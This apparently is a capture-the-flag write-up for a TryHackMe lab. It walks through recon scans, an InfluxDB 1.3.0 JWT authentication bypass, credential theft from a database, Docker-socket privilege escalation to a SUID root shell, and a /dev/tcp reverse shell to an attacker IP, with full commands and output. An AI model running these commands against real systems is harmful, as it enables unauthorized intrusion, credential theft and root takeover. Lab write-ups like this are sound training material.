Recon to foothold
We start by scanning, we’ll use masscan
first to catch UDP ports as well as TCP (nmap
UDP scans often seem to take forever)
rob:SweettoothInc/ $ sudo masscan -p1-65535,U:1-65535 10.10.108.145 --rate=1000 -e tun0
[sudo] password for rob:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-28 11:56:18 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 47816/tcp on 10.10.108.145
Discovered open port 111/tcp on 10.10.108.145
Discovered open port 2222/tcp on 10.10.108.145
Discovered open port 8086/tcp on 10.10.108.145
Ok, let’s do an nmap
scan now on these ports to detect services etc.
rob:SweettoothInc/ $ nmap -A -v -T4 -p111,2222,8086,47816 10.10.108.145
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 13:09 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating Ping Scan at 13:09
Scanning 10.10.108.145 [2 ports]
Completed Ping Scan at 13:09, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:09
Completed Parallel DNS resolution of 1 host. at 13:09, 0.03s elapsed
Initiating Connect Scan at 13:09
Scanning 10.10.108.145 [4 ports]
Discovered open port 111/tcp on 10.10.108.145
Discovered open port 2222/tcp on 10.10.108.145
Discovered open port 8086/tcp on 10.10.108.145
Discovered open port 47816/tcp on 10.10.108.145
Completed Connect Scan at 13:09, 0.01s elapsed (4 total ports)
Initiating Service scan at 13:09
Scanning 4 services on 10.10.108.145
Completed Service scan at 13:09, 13.15s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.108.145.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.58s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.04s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Nmap scan report for 10.10.108.145
Host is up (0.011s latency).
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 41853/udp6 status
| 100024 1 47816/tcp status
| 100024 1 49654/udp status
|_ 100024 1 49794/tcp6 status
2222/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
| 2048 7e:86:88:fe:42:4e:94:48:0a:aa:da🆎34:61:3c:6e (RSA)
| 256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
|_ 256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
8086/tcp open http InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
47816/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds
nmap
shows us the answer to #2.1: InfluxDB
Let’s check out the web page then on port 8086
Ok, that’s weird, nmap
was able to retrieve a title, but we just get a 404 message
While doing some googling research to see if this application has well known file locations or default creds we find an exploit for exactly this version, 1.3
. Let’s give that a go
-
Discover a user name in the system via the following URL:
https://\<influx-server-address\>:8086/debug/requests
This returns JSON data enumerating users and their number of queries and writes
From this we can get #3.1:
o5yY6yya
-
Create a valid JWT token with this user, an empty secret, and a valid expiry date
Ok, we need to create a valid expiry date before we can proceed. We can get this using the
date
command and a formatting sequence to display it as a timestamp,%s
rob:SweettoothInc/ $ date --date "this day next month" '+%s' 1630155252
Sidenote: this conversion from a human-readable string is amazing, it can make sense of almost any time no matter how it’s stated, makes the command much easier to use
Edit: this fails, it’s too far in the future, however
--date "tomorrow"
works fineNow we can use jwt.io to create our JWT token
Note we must delete the default
your-256-bit-secret
in the signature field. It’s not a prompt, it’s actual textAnd we get a result of
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM
-
Authenticate to the server using the HTTP header: Authorization: Bearer <The generated JWT token>
We can find a guide to the API syntax here from which we can see the following example
curl -G 'http://localhost:8086/query?pretty=true' --data-urlencode "db=mydb" --data-urlencode "q=SELECT \"value\" FROM \"cpu_load_short\" WHERE \"region\"='us-west'"
Let’s modify this now and see can we grab the names of the databases
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "q=show databases" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM" { "results": [ { "statement_id": 0, "series": [ { "name": "databases", "columns": [ "name" ], "values": [ [ "creds" ], [ "docker" ], [ "tanks" ], [ "mixer" ], [ "_internal" ] ] } ] } ] }
Excellent, we’re in business! We have our foothold
Foothold to user
We can have a look at the tanks
database first. We need to know what ‘series’ are available
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=tanks" --data-urlencode "q=SHOW SERIES" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"columns": [
"key"
],
"values": [
[
"fruitjuice_tank"
],
[
"gelatin_tank"
],
[
"sugar_tank"
],
[
"water_tank"
]
]
}
]
}
]
}
Ok, so we can see that the Water Tank is recording its measurements in the water_tank
series. We need to know the fields that are being stored, can’t use ‘temp’ if the field is called ‘water_tank_temp’ for example
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=tanks" --data-urlencode "q=SHOW FIELD KEYS FROM \"water_tank\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "water_tank",
"columns": [
"fieldKey",
"fieldType"
],
"values": [
[
"filling_height",
"float"
],
[
"temperature",
"float"
]
]
}
]
}
]
}
Ok, we have everything we need now, let’s make a query for temperature at time 1621346400
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=tanks" --data-urlencode "q=SELECT \"temperature\" FROM \"water_tank\" WHERE time = 1621346400s" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "water_tank",
"columns": [
"time",
"temperature"
],
"values": [
[
"2021-05-18T14:00:00Z",
22.5
]
]
}
]
}
]
}
So from this we get #3.2: 22.5
For the next one we need to use a different database, mixer
. Again let’s check the series names
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=mixer" --data-urlencode "q=SHOW SERIES" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"columns": [
"key"
],
"values": [
[
"mixer_stats"
]
]
}
]
}
]
}
Just the one this time, mixer_stats
. And it has fields as foillows
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=mixer" --data-urlencode "q=SHOW FIELD KEYS FROM \"mixer_stats\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "mixer_stats",
"columns": [
"fieldKey",
"fieldType"
],
"values": [
[
"filling_height",
"float"
],
[
"motor_rpm",
"float"
],
[
"temperature",
"float"
]
]
}
]
}
]
}
And so now we can query the max rpm reached
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=mixer" --data-urlencode "q=SELECT MAX(\"motor_rpm\") FROM \"mixer_stats\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "mixer_stats",
"columns": [
"time",
"max"
],
"values": [
[
"2021-05-20T15:00:00Z",
4875
]
]
}
]
}
]
}
And we get #3.3: 4875
Finally for this part we can see the creds
database which looks interesting, let’s see what it contains. First we’ll list what series have been defined
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=creds" --data-urlencode "q=SHOW SERIES" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"columns": [
"key"
],
"values": [
[
"ssh,user=uzJk6Ry98d8C"
]
]
}
]
}
]
}
Ok, we get just the one response, and it appears to include the answer as well, we get #3.4: uzJk6Ry98d8C
Are there more fields?
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=creds" --data-urlencode "q=SHOW FIELD KEYS" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "ssh",
"columns": [
"fieldKey",
"fieldType"
],
"values": [
[
"pw",
"float"
]
]
}
]
}
]
}
Yes, we find a pw
field, seems likely this is a password to go with our found username
rob:SweettoothInc/ $ curl -G 'http://10.10.45.28:8086/query?pretty=true' --data-urlencode "db=creds" --data-urlencode "q=SELECT \"pw\" FROM \"ssh\"" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im81eVk2eXlhIiwiZXhwIjoxNjI3NTY0NTgyfQ.cwXzRTsO2utMlOA8krYzGrqR_Ua91wMrqE2pAT5iFLM"
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "ssh",
"columns": [
"time",
"pw"
],
"values": [
[
"2021-05-16T12:00:00Z",
7788764472
]
]
}
]
}
]
}
So we have a full set of credentials, uzJk6Ry98d8C:7788764472
Let’s use them to login via SSH
rob:SweettoothInc/ $ ssh -p 2222 uzJk6Ry98d8C@10.10.45.28
The authenticity of host '[10.10.45.28]:2222 ([10.10.45.28]:2222)' can't be established.
ECDSA key fingerprint is SHA256:m7yl6Q13T1eePlSp8SzRHz+ulMEmSYzqakcD/LmhPXo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.45.28]:2222' (ECDSA) to the list of known hosts.
uzJk6Ry98d8C@10.10.45.28's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
uzJk6Ry98d8C@63aee996f3df:~$ id
uid=1000(uzJk6Ry98d8C) gid=1000(uzJk6Ry98d8C) groups=1000(uzJk6Ry98d8C)
And we can grab a flag
uzJk6Ry98d8C@63aee996f3df:~$ cat user.txt
THM{REDACTED}
We got 3.5: THM{REDACTED}
Privesc to container root
There are 2 routes here, for some learning we will take the second path but the first is much easier
- Don’t SSH to the box as above, instead use
ssh
and the found credentials to make a proxy forwarding tunnel. Now we can use the full range of tools on our attackbox, including thedocker
binary, which makes getting a root shell much easier - Don’t make a tunnel and instead login to the container and using
curl
throughdocker.sock
escalate privileges
A quick check shows us that we are in a container
uzJk6Ry98d8C@63aee996f3df:~$ ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 Jul 28 13:52 /.dockerenv
Another check gives us a clue for privesc
uzJk6Ry98d8C@63aee996f3df:~$ ls -la /var/run/docker.sock
srw-rw-rw- 1 root influxdb 0 Jul 28 13:52 /var/run/docker.sock
We have write privileges to the docker.sock
file as a low-privilege user. This means we can talk to the docker daemon residing on the host and send commands. Let’s try listing containers to prove the concept
uzJk6Ry98d8C@63aee996f3df:~$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
curl: option --unix-socket: is unknown
curl: try 'curl --help' or 'curl --manual' for more information
uzJk6Ry98d8C@63aee996f3df:~$ curl -V
curl 7.38.0 (x86_64-pc-linux-gnu) libcurl/7.38.0 OpenSSL/1.0.1t zlib/1.2.8 libidn/1.29 libssh2/1.4.3 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API SPNEGO NTLM NTLM_WB SSL libz TLS-SRP
Ah but of course, the abilty for curl
to work through a socket was added in version 7.40, and we have version 7.38!
uzJk6Ry98d8C@63aee996f3df:~$ which socat
/usr/bin/socat
We do have socat
though. Let’s connect to the socket this way, it’s a little more complicated, but not a lot
uzJk6Ry98d8C@63aee996f3df:~$ echo -e "GET /containers/json HTTP/1.1\nHost: localhost\r\n" | socat unix-connect:/var/run/docker.sock STDIO | sed '1,9d' | jq .[].Names
[
"/sweettoothinc"
]
A few things here to note
- We have to add the
Host
header to our request - We need a
sed
to remove the standard HTTP response headers whichjq
can’t parse
Wait a moment, could we use socat
to forward a port to this socket? Then we could just use curl
after all
uzJk6Ry98d8C@63aee996f3df:~$ socat TCP-LISTEN:2376,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock &
[1] 8034
uzJk6Ry98d8C@63aee996f3df:~$ curl -s http://localhost:2376/containers/json | jq .[].Names
[
"/sweettoothinc"
]
Yes we can!
We have one container, it’s got a tricky name though /sweettoothinc
, the /
will cause us problems (it has to be included in our curl
URL). We can alternatively use the container Id, so let’s grab that instead
uzJk6Ry98d8C@63aee996f3df:~$ curl -s http://localhost:2376/containers/json | jq .[].Id
"63aee996f3df21e1f31e78d3df9a3a43bd66c31057e60d089b745fc3ad7e4693"
Ok, let’s get this done then. First we need to create an ‘Exec’ in the container, then start it. This is done in one step if you use the docker
command, but here we have to do it in stages. We can use the docker api documentation to guide us
uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/containers/63aee996f3df21e1f31e78d3df9a3a43bd66c31057e60d089b745fc3ad7e4693/exec -H "Content-Type: application/json" -d '{ "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/bash", "-c", "cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell" ], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}'
{"Id":"16311265b75908d500a19acaf3496771da5d9b517ba59844dedaf6b7552518d5"}
The tricky part here is the definition of the command, unlike as it appears to be documented here each string in the Cmd
array is not a standalone command, but rather the first is the entrypoint command and each subsequent string is a parameter to that command. Hence in this case we define it as follows
"Cmd": [
"/bin/bash",
"-c",
"cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell"
],
Now this returned an Id
that we will now use to execute the command
uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/exec/16311265b75908d500a19acaf3496771da5d9b517ba59844dedaf6b7552518d5/start -H "Content-Type: application/json" -d '{ "Detach": false, "Tty": true }'
So, if this has been successful then we should find a SUID/SGID rootshell in /tmp
uzJk6Ry98d8C@63aee996f3df:~$ ls -lA /tmp
total 1008
-rwsr-sr-x 1 root root 1029624 Jul 28 19:10 rootshell
Excellent, we can get root now and capture the next flag
uzJk6Ry98d8C@63aee996f3df:~$ /tmp/rootshell -p
rootshell-4.3# id
uid=1000(uzJk6Ry98d8C) gid=1000(uzJk6Ry98d8C) euid=0(root) egid=0(root) groups=0(root),1000(uzJk6Ry98d8C)
rootshell-4.3# cat /root/root.txt
THM{REDACTED}
And so we get #4.1: THM{REDACTED}
If we wanted a full shell here we can do this, first defining an exec
task that runs a reverse shell, and then executing it
uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/containers/63aee996f3df21e1f31e78d3df9a3a43bd66c31057e60d089b745fc3ad7e4693/exec -H "Content-Type: application/json" -d '{ "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/10.14.6.26/1234 0>&1" ], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true}'
{"Id":"751b83eb080ccd9776a110101e2c8963bf60d8d7de7d7608c68fe8c8502c65af"}
uzJk6Ry98d8C@63aee996f3df:~$ curl -X POST http://localhost:2376/exec/751b83eb080ccd9776a110101e2c8963bf60d8d7de7d7608c68fe8c8502c65af/start -H "Content-Type: application/json" -d '{ "Detach": false, "Tty": true }'
And at our waiting listener we pop a shell
rob:SweettoothInc/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.45.28] 45850
root@63aee996f3df:/# id
uid=0(root) gid=0(root) groups=0(root)
Container escape
Now … escape the container, didn’t take notes here for some reason!
And with that we can grab the final flag
root@4b164631f4c7:/mnt/host/root# cat root.txt
cat root.txt
THM{REDACTED}